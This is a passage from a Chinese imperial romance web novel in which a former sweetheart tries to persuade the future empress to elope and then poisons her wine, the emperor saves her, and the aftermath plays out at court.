万姑姑不好当着皇后的面谴阿屏的不端庄,等到只有两人才冷起脸训话:“娘娘尊于中宫,一举一动不知有多少眼睛在盯着,你是一等贴身宫女,更应该谨言慎行!” 阿屏乖乖点头,说小人记下了。 待万姑姑转身,心说她家姑娘将来困在宫里,就跟那被捆了翅膀的漂亮鸟似的,总是让大姑娘稳重端庄,闷得人讷讷的,多糟心啊! 即便贺功再三作保不会出差错,万姑姑依旧担忧不已,直到贺功说宫里陛下放了话,只叫娘娘玩得开心,她才不再多说。 翌日晌后,崔雪朝饱饱睡个午觉,换过素雅轻简的菱纱裙,戴上一副长垂至膝前的幕篱,趁着太阳斜落,坐上低调的马车。 一路穿街过巷,阿屏在万姑姑严防死守的目光下老老实实地不曾撩起车帘往外看。 只是热闹繁熠的各种声音透过车窗,心里激动溢于言表。 终于,马车停了。 贺功:“姑娘,到春花秋月了。” 崔雪朝顺着搀扶而下,不及细看,一道机灵的人影直奔而来:“贵客临门,真乃大幸!不知您几位来春花秋月是赏景听曲还是吃宴品酒?” 崔府管家说与人有约,报了一个楼间号。 厮者啊的一声,“原来是跟花苑的素琴娘子有约。您几位这边请。” 一边引路在前,一边告罪:“素琴娘子今日本暇休,不巧来了一位常客点了她的琴,眼下正在客人厢里做陪,少不得要几位贵客稍待片刻。” 这话立时引来贺功和管家的不满。 厮者很有经验:“您几位别急,素琴娘子吩咐小人,几位先在雅堂稍坐,近日香积堂新研发的几样清肴,还有杯莫停的藏家启了窖藏五年的瓮头春,那可是打前朝时就风靡京都的好酒,难得一遇,贵客不妨尝尝?” 稍待之间安排的净是高标的消遣。 入间坐定,见八幅屏风隔出两个清净处,贺功有些不满:“姑娘,微小人去寻厮者换间僻静处。” 崔雪朝说不必了,这间虽被一道屏风分作两处款待人的地方,彼此并不干扰,胜在隔窗眺尽楼内所有风景,大而红装的高台白衫琵琶娘沉浸弹奏的神情一览无余。 “客随主便,你们也不用太过拘谨。” 不一会儿四五个厮者顶着宽盘进来,一摆满满十来个盘,样样精致,其中一道素蒸音声部,不过方寸大,汉阳造玉的盘上六个绘彩面人,琵琶古筝击鼓编钟,活灵活现到可以入画的程度。 “天爷,这东西竟然是用面做的!” 阿屏瞪大眼睛:“这要是让秦妈妈见了,非得去后厨跟人家拜师学艺!” 万姑姑亦是惊叹,宫中聚齐天下荟萃,但民间总有奇人。 “这道桃花饭瞧着比宫里的还要细致。” 总之不算慢待。 崔雪朝招呼厮者另摆置了一桌小食案,贺功推脱不得,恍大一个踞坐在阿屏身边,像座小山,动筷时很有君子风,下筷时却无愧武将出身,一盘蟹黄毕罗,两口就吃光了。 阿屏:“!你怎么不给我留点?” 贺功理不直气壮:“我当差要紧,吃得快些,等会儿要去站岗呢!” 无耻。 阿屏心里嘀咕趁着琴娘没到,扎着脑袋下筷胡塞一通。 正含糊着让贺功给自己留一口乳酥盏,突有厮者话音,几人顿住竖起耳朵,只听屏风那头来了客人。 贺功再不敢贪吃,挎刀而起,高高的一个站在屏风处,依稀瞧见那头只一人,暂无隐患,与卷帘门外的同僚使个眼色, “一个四十来岁的酒客。” 同僚探查回禀道。 吃过佳肴,高台上的琵琶娘退下,片刻后激昂躁动的鼓乐齐鸣,楼内高处的灯台熄了好些,只舞台亮如白昼,一伍美丽娇艳的胡部舞姬款步入场。 阿屏哇偶一声,“姑娘您瞧最前头那个,真的跟秦妈妈说的一模一样,只有两块布料!她不冷吗?” 贺功垂眸,见那领头舞姬细细的红绳悬着两块眼睛大的布挡在要紧处,走动间重峦叠嶂惊险刺激,台下的吆喝声震得人耳鸣。 不过他不似那群看客般留恋,先斜一眼板芽菜身材的阿屏,继而尽责地站岗。 纸醉金迷间,门上来了人。 女子楼间琴娘穿戴,轻纱罩面,妙目倩兮,身后跟着抱琴的一名琴侍,垂着脑袋瞧不真切五官,轮廓秀致,并不稀奇。 贺功朝内回禀,引人进去,崔府管家互为引荐。 素琴娘子并没有众人以为的那般倨傲,很亲和。阿屏和万姑姑立起肃穆,恭敬地站在屏风一侧伺候。 既是以琴谱为引,免不得要素手弹上几下。 琴侍促步过来,崔雪朝套上指套,道一句有劳,一抬眸,看清这琴侍的脸,有些愣怔。 “姑娘要弹哪一曲试琴?” 记忆回旋,少时技艺小有所成,她请人给辜家送信,邀辜家兄妹于幽昙盛开之夜赏脸。 一室静谧如殊,云霞闹着不愿做碍眼之人。 那时已因琴艺在京都公子间出名的辜云生浅笑,支颐在膝,风流华盖,“阿朝,你要弹哪一曲试琴?” 她红着脸说《凤凰引》,那是男女悦琴之音。 人如昨,往昔再难回溯。 崔雪朝看着辜云生深情的眼,心下叹气,“你们先下去吧。” 万姑姑与贺功彼此看看,听令退至门外,阿屏摸不着头脑也跟着走了。 素琴娘子上前接过琴架,一串流利悦耳的琴音响彻室内,掩盖住所有声响,一如屏风后那侧再次响起的厮者引路声。 “贵客勿怪,今日楼中席位不丰,只得委屈您与这间堂客共享一室。但您莫急,一室两案,轩窗各有千秋,彼此” 吱呀门响,正站在窗前的内客回眸望来,袁望撇去一眼,就见那四十多岁胡须虬面的人突然瞪大眼珠,“陛下!您怎么在这儿?” 厮者只听到一个‘避’字,其后屏风那侧清越琴音恰好遮去剩余话音,他讨饶地拱拱手:“贵客勿惊,今日来舞阁的客人实在太多,只好委屈您与这位共用一间。” 话罢,立时呈递上请罪的稀罕瓮头春,见二位似乎认识,放下心来,“那您二位请自便。” 胡须满脸的邋遢客随意挥手。 待得室内再无旁人,急忙拱手,“您都知道了?” 知道什么? 乾元帝拧起眉峰:“你作何在此处?” 怀疑的目光忍不住偏向屏风那侧。 哪知对方尚未开口,屏风那侧琴韵丰满,其间竟有一道男音传至两人耳畔。 ——“三宫六院七十二妃嫔,他配不上你!” 第29章 不要弃我而去,不要别再…… 特意装扮过的四旬中年男人魏亭怀疑自己耳朵, 目光偏移到隔间的屏风,山水锦绣的风雅样衬托得眼前陛下容颜格外霜寒。 “你来此作何?” 魏亭回神解释:“回陛下,臣来此地乃是暗查。” 京西铁矿一案迟迟没有眉目, 好不容易山里的暗探传出飞鸽, 窝藏在京西绵山深处的矿井管事今日终于离开。 锦职司的探子守在四城门口,一等那管事现身, 迅速递了消息给副使魏亭。 “那管事进京之后直奔此地,臣怀疑此僚应是与人约好见面,故而乔装前来。” 乾元帝示意他自去原来呆的位置盯人,越近择了靠那头的位置站定, 黑沉的影子投在屏风上, 没得叫人心寒。 只是一屋不同境, 崔雪朝尚不知有旁人在窥探。 楼下燥热的鼓点乐如海浪般一阵阵涌起又褪去,素琴娘子弹指间亦是激昂而出。 踞坐的两人起先只是隔着宽案对望, 辜云生眼底波涛汹涌,好一阵才艰涩地开口, “三宫六院七十二妃嫔, 他配不上你!” 所以呢? 崔雪朝以为他是来同自己告别,或是为陈年旧事彼此抒怀, 可他神情似乎决绝, “阿兄究竟想说什么?” 辜云生心头潮热, 激动地探前身子:“阿朝,你跟我走吧!” 崔雪朝错愕不已,“走?走去何处?” “天大地大,总有皇权倾覆不到的地方。阿朝,只要我们在一起,纵是地狱火海都可以!” 他的语气疯狂到让崔雪朝觉得可怜, 什么火海地狱,这是她当年同他说过的,如今再听,心里酸涩,又怅惘起来:“阿兄,你不要辜家双亲,不要你的妻子和女儿了吗?” “别跟我提他们!” 辜云生捏紧拳头,目眦欲裂:“若不是为了父亲母亲,当年我何至于弃你独自苟且?阿朝,自你走后,我活得生不如死,活得像朽木太痛苦!!” 他要牵她的手,崔雪朝不肯让他碰,躲闪开,眼神清明:“阿兄,你应是吃醉酒了,我只当今日没见过你,你走吧。” 辜云生何尝不知道今日所求艰难。 太过心急反而惹得她板着脸,故而缓缓心绪,“我知你恨我,可当年的事情,我错在受家族负累。阿朝,易地而处,若你母亲和父亲被缚内廷,无人施以援手,只要你嫁给末帝便能救人,你可愿意?” 他是如此心诚,言辞恳切,为当年错失的缘愁思太久。 崔雪朝俶尔灵台清明,原来她当年恨辜云生背弃,不只在他争都未争便选择尚主,还是因为自己信错了人,情愫错许。 “我不愿意。” 她嗓音轻淡,笃定而言:“我从小读书识礼,明贞德志,我不为崔氏的清名,我会为了自己,甘愿赴死。” “若这世间真有时光回溯的机会,如你所言,双亲受缚,需要牺牲我而苟活,我父我母若知我为了他们受辱,只怕不肯苟活。” 这话无异是扇了辜云生一巴掌。 他长久不语,似乎回溯了自己前半生,及至回神,也不过才过去半盏茶的功夫。 楼下胡旋音已至后半程 辜云生知道留给自己的时间不多了,他与素琴娘子对视一眼。 下一瞬激昂的音律如山溪垂落,润如雨泽,悠扬起来。 崔雪朝心有所觉,不动声色地抬眼看向门边。 贺功与两位侍卫高大的身影沉稳守备。 “往事如流水,追论对错已然没有意义。” 辜云生舒口气,换了另一种劝法:“我们只论今后。阿朝,你双亲多年恩爱,崔府后院亦是只崔夫人一人,你从小看着父母恩爱长大,难道真的甘心自己嫁给一个妃嫔如云的君王吗?” 辜云生:“阿朝,我是这世上最了解你心性的人。你清高有傲骨,绝对不是肯折腰邀宠献媚之人。我比你了解男人,或许册礼之后种种迹象昭彰陛下对你爱重,远远甚于旁人,可一年两年,几年后呢?” 这话瞬间拿捏住崔雪朝的软肋。 辜云生见对面的人不自觉抿直唇角,从小到大,但凡她有不如意处,总是会在微末处露出心思,为这份不曾改变的小习惯,他心底渐渐回暖。 “朝局纷杂,今日陛下会因高家权势太盛而仰仗崔家,来日崔家如日中天,他会有选哪一家制衡你的皇后之尊呢?” “崔家族人不会仗着我的皇后之位,威胁到陛下的清政。” “你太天真了。” 辜云生冷嗤:“你以为自己通透,实则困在井底。直到如今你还以为末帝是因你和云霞的双艳之名而借题发作吗?是朝局纷争,是权势站队,是末帝默许世家争斗好揽尽皇权!” “你,我,还有云霞,我们都是权力场中最不起眼的一粒尘埃罢了。” 这话带着宿命到头的哀叹,也让崔雪朝生出大梦初醒的怔然。 “所以,你跟我走吧。” 他的言辞哀切恳求:“什么辜家崔家,这么多年的委曲求全,我们不欠他们什么。你跟我走,过去错失的岁月,用往后余生的相伴来弥补!我们去外埠,坐大船,我们去海外寻一个避世小岛,日出而作日入而息,搭一间茅屋,纵是轻简,也绝对比陷在望京这浑浊地要好千万倍!” 明明是那么美好的画面,可他的描绘下,崔雪朝眼前浮现的却是那日夕阳斜照,窗棂下的碎晕闪耀着光辉。那人像个寻常人家的夫郎盘腿坐于自己膝下,眼底含笑,望着自己。 她嗫喏着,觉得好心酸,原来不知不觉间她对那人并非全然冷漠。 “我阿兄,我现在只把你当做我的阿兄。” 这是判词,对辜云生所有期盼的判死之言。 他艰难地咽下一口气:“阿朝,你是对那人生出男女之情了吗?” 屏风后的乾元帝在这一瞬有种命悬一线的窒息感。 幸而这感觉并未持续太久,幽婉的琴音伴辅,她的回复给了自己一线生机。 “我从不因自己的心动而觉得耻辱,男女之情无需遮掩,我坦坦荡荡,的确对陛下有情。” 她承认了! 辜云生却是摇头:“这不可能!” “你肯定是昏头了,错把感激当做情!” “这不怪你,是那人哄骗的手段了得罢了。” 说完,竟是笑出了声,“你与云霞最交好,若云霞还活着,知晓你竟然看中那样的人,可知她会笑话你什么?” “笑话什么?” 辜云生:“笑话那人一把年纪,怕是再过几年,身上都会有股老人味了!哈哈哈哈” “” 崔雪朝无语,想说自己今岁二十余四,又非二八年华。十年之差,并不悬殊。但辜云生猜测的论调确实是辜云霞那样口无遮拦的人能讲出的话,想起旧友,露出笑痕。 只是一点,很快泯于不见。 气氛不再凝滞。 辜云生见她终于肯笑,弥久的悲意漫上心头,声音低沉如水缓缓淌过她的心中。 “阿朝,他足够懂你吗?你爱吃什么,爱什么颜色,闲暇时有何喜好,他了解吗?” “你假装不在意说没事时,他懂你的未尽之意吗?你发脾气难过时,他能陪在你身边吗?” “或者说,他肯去了解、去懂你吗?” 他的笑比哭还要让崔雪朝难过,因为她知道他在说什么。 与天下之主的婚姻一开始就是被薄弱的线牵着的风筝,她始终飘在半空,无法把根扎进内廷的土中。 琴音将至尾声,辜云生见她松动,长长舒口气:“阿朝,跟我走吧。” 崔雪朝只盯着小几上的鸳鸯图,慢慢摇头。 “我不能走。” “我亲口答应要嫁给那人。” “或许今日你所言全都为真。来日他与我两心相隔也罢,为权而悖也好,至少此时此刻,我想成为他妻子的心,没有变。” 纠结,两难,那是小女儿才会有的情态。 她不是。她的取舍不在此间,不在辜家大公子三言两语中,早在宫廷中答应做皇后时,她就有了决心。 或许彷徨于往后,但不后悔站在他身边。 一直以来不自信的是他,是他畏惧她的易变,明知辜家大公子来者不善,也要做个藏头藏尾的墙角汉,听听她的抉择! 终于能放心了,袁望松缓着僵硬的身躯,一挥手,身后侍卫无言拱手退下。 长长的廊那端,贺功接到示意,只等里边琴娘和那假琴侍一出来,立刻缉拿! 厮者恰时上门端来小方盘。 辜云生提梁倒了两小樽,一杯至自己身前,另一杯一点点推送到崔雪朝身前。 “上好的瓮头春。” 他露出伤感遗憾的眼神:“那年盛夏,云霞去西游博川前也曾让人买了一壶,说等她归家,要和你我把酒月下,对影成九人。” 辜家马车在城外被末帝贼僚拦下,护卫遭屠,似玉贞洁的辜家大姑娘当晚自尽于云鹿台。 “云霞不在了,往后与你再难相见。” 有泪滚落颊容,辜云生仰头一口饮下辛辣烈酒,“与你长别。” 崔雪朝见他饮下,这才握上酒樽,“愿阿兄能及早释怀,往后常乐。” 垂落的眼睫挡住视线,不曾瞧文雅君子相的人,那张脸变得好瘆人。 唇沾上冰冷的杯面时,突然有人惊呼‘别喝!’,与此同时一道尖锐利器破空而来直直撞上她指间的酒杯。 一切发生在电光火石间,巨力袭来,毫不设防下,酒杯破裂迸溅,一具高大的身影踏长屏猛然扑来,崔雪朝眼前一黑,她被人紧紧地拥在怀中,嗅到某种幽深的沉香气。 光亮恢复的刹那,仰头见到熟悉的面庞时,惊讶地合不拢嘴。 “放开!你们放开我!” 辜云生撕心裂肺的喊声唤回她的神智,贺功领着侍卫将一身琴侍衣裳的人死死扑压在地上,“等等,他” 目光不期然看到方才自己坐着的蒲团旁边。 光洁地面洒落酒水,湿漉漉的地面此时却是泛着一阵阵刺眼的白沫。 那是 崔雪朝难以置信地望着面容扭曲的辜云生,无法相信眼前所见。 因为她坚持不跟他走,所以他就要毒杀了她? 她突然觉得喘不上来气。 “阿朝!你听我解释!那不是呜呜呜放呜呜” 一只温热的手掌不容拒绝地将她的脸揽回怀中。 世界昏暗,只能听到他蓬勃的心跳。 久久后,传来他的抚慰。 “汀溪,别为不值得的人流泪。” 第30章 朕那么大的一个皇后,咣…… 人最忌走进死胡同后宁死不回头。 或许真如阿娘说得那般, 相见不如怀念,彼此成了过客,反倒也好。 偏偏那日翠柳鸣蝉, 一眼望断心肠, 于是发了狂入了魔怔,竟走到如今死地。 他知道, 自己这回怕是活不成了。 牢狱栏杆外传来脚步声,辜云生扭头,见来人龙行虎步,面如天宪, 恨意渗着嫉妒, “陛下是来向臣炫耀的吗?” 乾元帝懒得理他, 内侍搬来宽大圈椅,他往里泛泛一坐, 抚着下颌思索后,道:“朕今日来此, 是有话要问你。” 该交代的, 辜云生全都交代得干净。 下的什么药,迷晕人之后让琴娘假扮拖延时辰, 如何离开望京, 户籍文书以及路引关文一应物品等等 乾元帝看过锦职司呈递上来的口供, 嗤笑某人痴心妄想,真当自己这天子是前朝末帝那种酒囊饭袋不成? “昨日被你下在皇后杯盏中的药乃是钩吻喉,至毒之物,服下不足一盏茶便会心肺蚀穿腐烂痛苦而死。” “怎么可能?那只是让人昏睡的” 想起昨日出门前女儿突然扑到身上,辜云生目眦欲裂,原本瘫在地上的人扑上前, 隔着栏杆瞪大眼睛:“阿朝呢?阿朝还好吗?” “朕的皇后自有朕护着。反倒是你,使计诱骗皇后在前,蛊惑皇后私奔未遂后竟敢投毒!犯下此等大罪,你不问问朕如何处置你辜家满门?” 辜云生:“从我决定带阿朝离开这里时,辜家上下便无一人与我有关。”只是回忆起昨日,有种劫后余生的感慨:“只要阿朝活着就好。” 他的情深可谓偏激至极。 乾元帝何尝不为昨日的惊险而心悸。本想待辜云生出了小间,不惊动皇后将人扣下治罪。 亏得他不放心从屏风隙内瞥见那琴娘的脸色古怪,顺着琴娘视线看去,敏锐意识到酒水有问题! 至毒的药洒落地板嗤地腾起白烟,当时生出一身冷汗,回神才发觉怀中的皇后在发抖,急忙遮住她的眼眸。 昔日青梅,只道缘尽,却低估了男人爱而不得的扭曲心肠! 她躲在他怀里很久,再离去时神情浑噩,乾元帝目送她上了马车走远,才发觉自己胸襟前被眼泪湮湿好大一片。 “你真该死。” 辜云生:“为她而死,死而无憾!” “你想得美。” 乾元帝:“你死在咎由自取,死在你从始至终的懦弱,死于你身为男人的自负!口口声声‘为了皇后好’,当年与而今,你所为皆是为了满足自己的私欲!” “枉你自称是世上最了解皇后的人。” 皇后尊亲爱长,本心存善,不攀附权势,气节宁折不弯。 而眼前这东西自私自利,为人子,该死!为人父与夫,亦当死! 万分后悔从前竟为了此人,自己拈酸吃醋,掉价。 今日来此浑浊处,本是想亲口问问皇后少时与他是如何相处。本以为是情敌见面分外眼红的僵局,自己免不得以辜家胁迫一二。 奈何见了此人,晦气得起身就走。 陛下走得干脆,自有旁人稍留片刻。 锦职司正使曹大人俯视着牢内的辜云生:“经查,昨日毒害皇后娘娘之物乃是你夫人命其女,趁你不备偷偷更换。昨夜,端秀县主与其女双双突发恶疾不幸离世。” “辜大人与夫人骤闻此丧,惊厥难眠,已于今朝呈上辞疏。” 一挥手,身后有衙役端上东西,白纱与一方小瓷瓶。 曹大人:“依下官之意,您夫人费尽功夫寻到的东西实在不该浪费。” 辜云生擦去眼泪,倒算痛快地饮下东西。 一生经历在眼前如走马观灯般上演,死亡将至,嗫喏着唇,依稀道了声‘对不起’。 消息回禀,乾元帝刚到喜腊院外。 想了又想,进门挥退宫人,把真相告知于崔雪朝。 论心机,他坚定了辜云生昨日的下毒之举,能让她和过往切割得干净利落。 然一想到她躲在自己怀中的眼泪,突然觉得不必隐瞒什么,真与假是虚妄,至少让她不那么痛彻心扉,他也会好受些。 “辜家壮士断腕,已处决了她们。” 乾元帝顿了顿,知道不该,还是忍不住试探:“但辜云生并非全然无辜,你觉得该如何惩办?” 崔雪朝低下头看着腕上的宝钏。 本以为辜云生疯魔到毒杀自己的地步,昨夜哭过,夜里翻来覆去睡不着,眼前总是浮过很多他们相处的场景,只是记忆中儒雅美好的君子成了索命的恶鬼。 人和人建立关系需要很多个日夜,然而归零只是一瞬间。 他既然恨她恨到索命的程度,那自己也恨回去就是! 哪知他没有。 虽然还是要下药,但迷药带来的破灭至少比毒药轻了很多。 “这几个时辰,每每想起你蒙在鼓里提樽差点饮下的画面,我这心跳就要停上好久。” 见她不语,乾元帝攥着她的手抚上悸动的胸口:“你听听。” 崔雪朝见他残存着害怕,不自觉地坐近他安慰着:“我没事。” 扭脸让他看自己的神色:“你看,我这不是好好的嘛?” 好什么好?眼窝下的青好大一团,真是好丑! 袁望别扭于她的伤怀,又欣喜于她这时凝望自己的专注:“纵是迷药也很可恶!那琴娘交代得清清楚楚,他们二人合谋,等你昏厥,便让那琴娘换了你的衣裳拖延时间。” “辜云生倒是周全,提前备好两套平民身份,健马等在巷子口。若是贺功几个反应慢些,发觉不对时怕是他早就绑着你离开望京,疾行几日,坐上去海外的大船了!” “不会的。” 她缓声安抚他想象出来的离别:“我总会醒的,只要我醒,一定想办法回来。” “那可不一定。” 袁望:“天高任鸟飞,你一走说不定觉得海外小岛什么的也很逍遥快活。说来最可怜的是我,好大好美丽的一个皇后,千盼万等,最后丢了连说理的地方都没。” 说着说着,拉出老长的一声叹,好不可怜。 崔雪朝总觉得他的话里有不对劲的,一时没回过味来,忙着与他表明自己的清白。 都不是年岁浅的人,你一言我一句,倒有几分情窦初开的人甜滋滋腻在一起的美好。 万姑姑守在廊下,舒口气,对面阿屏还不知昨日自己脑袋在刀锋前转了一圈,只追着贺功问陛下会如何处置辜家人。 阿屏:“说定了辜家夫人要在六月初六那日给皇后娘娘做簪客的,如今她儿子不知死活做出蠢事,想来她也没脸来吃席吧!” 贺功无奈,心说瘦丫头就记得吃席,辜家险些落得满门抄家,陛下念着皇后娘娘情面上,只叫辜家辞官归京。 被缠得无法,只好在阿屏耳边碎碎一通。 大日头下,阿屏听得浑身发寒。 小丫头骂得痛快,一口一个该死,真知道辜家大公子连妻子孩子全都丧命,又突然惶惶起来。 “皇后娘娘很喜欢辜家那个小姑娘的。”她呢喃道。 “再喜欢也不能把祸根留下。” 贺功道:“他爹娘活不成,留她在世上万一去哪间野庙行巫蛊诅咒皇后娘娘怎么办?” 阿屏哦了声,说也对。再冰雪可爱的小姑娘都没有皇后娘娘重要!再说了,将来皇后娘娘生了公主,那才是世上最可爱的孩子! 屋里的袁望重提旧话:“依你之见,辜家三个如何处置?” 崔雪朝眨眨眼,在他探寻的目光下无奈道:“抛去私情,我是大乾的皇后,毒杀国母,其罪当诛。” 袁望点头,过半晌,没等到‘但是’,“没了?其罪当诛,然后呢?” 崔雪朝:“都其罪当诛了,还有什么?” 见他哦了声,困惑起来:“难道你希望我发个善念,大度地饶过他们?” “那倒不是。” 人都归西,万一她真的想发善念,自己要从哪儿变回那一家三口来? “还以为你舍不得自小长大的情意呢。” 在她淡然的目光下,不由讪讪。 试探到满意的答复,心里格外舒服,果然不愧是他力排众议挑选出来的皇后。 当皇后的人,慈能归拢人心,也要有狠厉的手腕震慑住暗地里轻视她的人。 于是挺挺胸膛,在她的屋内慢悠悠踱步:“六月初六大礼,等你入宫住上一月,七月暑热,我们乘龙舟搬去明园住好不好?” “明园比宫里还好住?” 袁望自然不曾去过,打下江山的天子第一年在外平乱,第二年临朝稍展手腕,未有机会贪恋享乐安逸。 “明园地势低,风从长原过去,环水之园,是解暑圣地。” 那就去吧。 嫁给皇帝头一件的好处显露出来,得天下之养,日子过得是顶级的舒坦。 “明园有处沁风台,到时我与你同住,白日我去批阅周折跟大臣们议政,傍晚我去寻你,咱们一块垂钓吃烤鱼。” 他还保有带兵在外的粗习。 崔雪朝不知死板板地垂着长杆等鱼上钩,究竟为何能招好些男人沉迷不可救药,和妻子说说话教孩子写字读书共享天伦,难道不好吗? 婚姻将成,预感要磨合的地方还有不少。 只是这么一打岔,因辜家涌起的惆消散不少,夜上时听阿屏说辜家两位大人不曾获罪,辞官归乡,稍慰藉些。 纵是低调万分,当日自己行踪总会落在有心人耳中。 他是帝王,有皇家体面,辜云生欲挟她私奔是对天子颜面的挑衅,辜家满门死不足惜。 开恩饶恕,说到底是为了顾及她。 他的珍视让原本就有的好感愈发上升,临睡前叮嘱万姑姑明日记得开私库:“我记得有一匹香宝花罗的料子,瓷釉透青的。” 万姑姑问用处。 “答应了要给陛下做一件外衫,进宫前还有几日,正好闲着也是闲着。” 万姑姑立时说好,给陛下的衣衫那不得回禀到宫中?做衣裳嘛,总得有尺寸小样吧。【你现在阅读的是 】 30-40 第31章 陛下对娘娘采阴补阳?…… 瓷釉青色 乾元帝站在独属于皇帝的内库展架前, 逡巡片刻,握上今夏官窑刚朝贡的越州青瓷瓶。通体呈八棱形,直口, 长颈, 溜肩鼓腹,釉面清亮, 釉色青绿,宛如一汪湖水。 “衣衫嘛,朕又不缺。” 他抚着青瓶,突然道, 不远处垂目恭立的内库使心说这话是什么意思, 斗胆向上递个疑惑的眼神, 乾元帝也在看他,两两相望, 心意不通。 还是童公公脑筋转得快,一拽内库使的袖子让他往旁边稍稍, “针线司的东西是差事, 娘娘的手艺是对陛下的关爱,哪能一样呢。” 乾元帝好受地嗯一声, “这釉质的青确实好。前朝有位陆龟蒙的诗人, 曾作诗‘九秋风露越窑开, 夺得千峰翠色来’。” 童公公哎呦赞陛下您精通千古,“皇后娘娘素日闲暇也爱读诗,万千颜色中,偏择这个颜色,想来是和陛下您心有灵犀,同觉这色儿配您的气质!” “哈哈哈哈” 乾元帝郎然笑笑, 这越州青瓷类做千峰翠色,苍郁葱茏,沉静深远。 若非与他心意相通,知晓他至深品性的独有魅力,万万选不出这样好的颜色来。 沉吟片刻,道:“朕记得崔家二房的老爷呆在礼部司博士呆了好些年吧?” 童公公眼神一转:“听人说崔家二老爷爱书画等文雅之物,常在礼部司整理旧朝遗留下的规制造件儿。”整天对着造册跟库房盘点东西少没少,多没多,什么仪式上用几件东西,用完送回来擦洗干净他给入库。说白点,就是个体面不多零碎繁冗但升不上去的死位。 乾元帝唔了下:“越州官窑今年有个七品的监吏缺儿吧?” 童公公说是。 “爱文雅之物的人想来审美不俗,让吏部拟旨,待朕大婚之后,让崔二去越州办差吧。” 赏了官,眼神一溜在库房展架上转过,在内库使还没反应过来前,就把今夏朝贡上来的锦缎窑瓷海珠珊瑚等十几箱子东西全赏给了皇后娘娘。 乾元帝神情愉悦道:“这库房堆得太满,朕帮你们清清堆货,省得你们每日盘点起来辛劳。” 内库使领着一群小内监叩谢陛下体恤。 等主子一走,才敢松松筋骨,内库的某个管事嘀咕:“陛下真能给皇后娘娘抬面。这许多贴己搭进去,白白便宜坤宁宫姓李那几个碎催!” “可不是嘛,姓李那崽子,从前见了咱们几个哪次不是称爷爷哥哥。如今倒好,做了坤宁宫的领事,见了我腰杆都不弯,得拿朝天的两个出气孔见人。” “他爷爷的,狗眼看人低的玩意!” 这话说完,见内库使不发话让他们息事宁人,其中一个越发气性:“坤宁宫的这位也是本事,原先不是让她住在万寿宫那头,听御前的宫人说陛下属意封个妃的。谁曾想秀女大册礼那天招了陛下走一遭,嘿!您几位猜怎么着?抬举成皇后了!” “那是那是,就为着这个,前朝吵翻天了,陛下硬是别着性子没服软!” “这么看,陛下对这位主子上心呢。” “上心就一阵稀罕,你们是没瞧见千熙宫那位!” 某个管事朝自己身上等个量寸,“那身段那模样!啧啧啧,莫说是咱们断了根的眼热,兹要是个人,生了一对招子,那都得拜倒在人家石榴裙下!” 这话逾距,入耳的都是一路货色,彼此涎着唇舌痴笑着。 “高家打前朝起就是京城的第一家,那家底几百年得深,可惜咱们几个命不好,没分到千熙宫当差。” “好了。” 内库使这时开口,“赶紧照陛下意思装箱造册,东西加紧送到崔家才是要紧。” 他倒是装得轻松,实则背过身也不舒坦。 内库使虽掌管皇帝私库,但他心里门清,新朝皇帝的内库十之八九都是空的,大乾皇帝入京城时,这座宫城早就被掏得没几分油水了。 天下之君又如何,还不是食人牙侩,吃人家手里边漏下的? 守着这么座空山,还不如寻个机会伺候千熙宫那位真尊主子呢 乾元帝对于底下人的小九九尚不知,出了私库,先去前朝值房走一圈,跟中堂几位阁老对论过政事,打六部门口露露影子,恶趣味地瞧瞧官员们紧绷着神经办差的神态,这才施施然离开。 路过禁卫所的值房,隔墙听着里头哼呵啊哈的声音,猜到是武官们在练武,脚步一拐迈了进去。 乾元帝不叫惊动人,站在角落处瞧高台上两个肌肉健硕的汉子搏艺。所谓搏艺,一方台圈出四方地,单人精练上阵,无甲胄无兵刃,输赢全靠招式与力气。 民间有庄家会开台搏赛,下注赌输赢。 到了兵部禁卫所,兵汉子互相看不顺眼上台争高低的好去处。 乾元帝安排魏亭去北大营历练,刚去第一天就被北大营的副统领一胳膊肘子干到台下,这一输也没脸强留在军营,乾元帝才安排他进锦职所。 不少武将围看台上两人斗搏,乾元帝也看得津津有味,甚至很有亲自下场比上一把的想法。 不过只是想想,不当皇帝前,他跟兵将混在一处,强就是强,大家不拿着装腔。 当了皇帝身份限制,这些武官不敢放手施展,乾元帝也斗得并不尽兴,索性看看就成。 一场搏艺前后两刻钟足矣,最终以台上又高又壮一身蜜色腱子肉的猛将钳制另一人赢下。 围看的武将等二人下了高台立时朝向自己亲近的,赢家被吹捧的脸上有光,乾元帝倒瞧见这人偷摸揉着自己胸口的小动作,有些失笑。 那输家是个混不吝的,招式有些不正派,掐捏抠咬,为了赢连猴子偷桃这么不要脸的招式都使出来了。 “赵兴,方才没伤着你吧?” 输了的人隔着空地冲赵兴挑衅。 赵兴身旁有个蹦跶的气吼吼地指着那边:“你还有脸问。搏赛讲究分寸,我看你就是成心冲赵哥下三路玩脏的!” “哎呦,别生气嘛。” 两拨人混在一块,输家挤眉弄眼,“玩闹罢了,我手下有数。再说了,赵哥刚成亲,要是我敢把赵哥吃饭的家伙什摘了,嫂子虎势起来不得挥刀剁了我?” “哈哈哈哈” “哈哈哈哈” “你才虎势,我夫人最温柔和顺了!”赵兴一下红了脸。 “和顺?那昨儿傍晚是谁在家乱发脾气摔了碗,入夜趁没人看见,偷摸跪在廊下求夫人快开门的?” “你才乱发脾气!” 赵兴梗着脖子:“在我家,我说东,你嫂子她不敢往西。什么跪在廊下,保准是你看花眼了!” “你可算了吧。” 有位成婚日久的给诸位同僚指导经验:“就听某人一言,这女人呀不能惯着,甭管她白天怎么闹腾,你别张嘴。只管夜里没人了好好收拾她一顿,保管她第二天跟个小猫似的乖顺!” 站在角落里的乾元帝不满地拧起眉头,见这武人生得五大三粗,一双虎眼瞪起能有止婴夜啼的奇效。 这人生得不招女子待见,娶个媳妇还不知道好好珍惜? 趁着夜里避开外人,对妻子拳打脚踢算什么本事? 将来皇后入宫,他是绝对不如像此人,在夜里给妻子难堪的! 回到通政殿,还有些气性,很想找皇后话话家常,主题便是这位武人如何地对妻子不好,当然关键是要表明自己对妻子的珍爱万千。 哎,可惜是臣僚家事,他不能随意插手。 皇后远在宫外,若是在坤宁宫,两人一块吃着暮食,就着对武官粗俗行径义愤填膺下饭,想想就很岁月静好! 期盼着日子过得再快些吧。 晨起打一套拳保有健美的身材,上朝处理政事,下朝看奏章处理政事,黄昏闲暇,去宫中景致不错的地方逛逛,提前踩好点,何处垂钓何处搭秋千架和帐篷预备皇后入宫两人同游。 入夜里,看看枕头那头空出来的位置,期盼着将来搂着人共枕眠的画面。 一期盼,五日过去了。 “朕的衣衫还没制好吗?” 大晨起,提这种要求,童公公有些为难:“陛下,小人让宫人去问问?” 